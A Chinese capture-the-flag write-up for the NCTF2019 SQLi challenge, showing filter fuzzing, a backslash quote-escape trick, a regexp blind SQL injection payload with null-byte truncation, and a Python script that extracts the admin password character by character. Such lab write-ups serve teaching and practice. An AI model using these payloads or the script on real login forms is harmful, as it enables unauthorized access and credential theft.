刷题记录-[NCTF2019]SQLi

刷题记录-[NCTF2019]SQLi_第1张图片
测试一下 应该是or被拦截了
刷题记录-[NCTF2019]SQLi_第2张图片
简单fuzz一下
刷题记录-[NCTF2019]SQLi_第3张图片

可以看到regexp是可以用的
在这里插入图片描述
题目也直接给了被过滤的关键词

在这里插入图片描述
刷题记录-[NCTF2019]SQLi_第4张图片
找到admin的密码即可得flag

由于单引号被禁用,使用 \ 转义and前面的那个单引号,使得 '\' and passwd=' 形成闭合
构造passwd处为 ||/**/passwd/**/regexp/**/"^a";%00
用regexp查询passwd ^匹配字符串开头 %00截断后面的内容
但是不能在输入框直接提交,会被url encode 变为%2500被黑名单拦截

即为 username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
查询语句变为

sqlquery : select * from users where username='\' and passwd='||/**/passwd/**/regexp/**/"^a";

刷题记录-[NCTF2019]SQLi_第5张图片

在bp改成%00,负载对的话会跳转到welcome.php

刷题记录-[NCTF2019]SQLi_第6张图片
刷题记录-[NCTF2019]SQLi_第7张图片
先去bp跑一下正确时的回显,方便写脚本
刷题记录-[NCTF2019]SQLi_第8张图片

import string
import requests
from urllib import parse

passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php'

for n in range(100):
    for m in string:
        data = {
            "username":"\\",
            "passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
        }
        res = requests.post(url,data=data)
        if 'welcome' in res.text:
            passwd += m
            print(m)
            break
    if m=='_' and 'welcome' not in res.text:
        break
print(passwd)

在这里插入图片描述
刷题记录-[NCTF2019]SQLi_第9张图片

你可能感兴趣的:(刷题记录-[NCTF2019]SQLi)